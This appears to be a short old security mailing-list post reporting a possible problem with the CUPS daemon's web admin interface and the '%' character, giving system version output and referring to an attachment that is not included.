cupsd web admin and the % char

[KF <dotslash () snosoft com>]

I have been playing with cupsd a little and came up with the following
 
[d0tslash@linux d0tslash]$ uname -a
Linux linux.insight.rr.com 2.4.3-20mdk #1 Sun Apr 15 23:03:10 CEST 2001
i686 unknown
[d0tslash@linux d0tslash]$ cat /etc/redhat-release Linux Mandrake
release 8.0 (Traktopel) for i586

The attached cupsd-hack.txt has my results...

-KF

Ok you need to authenticate to cups first in order to do this but my 
question is is it an issue?
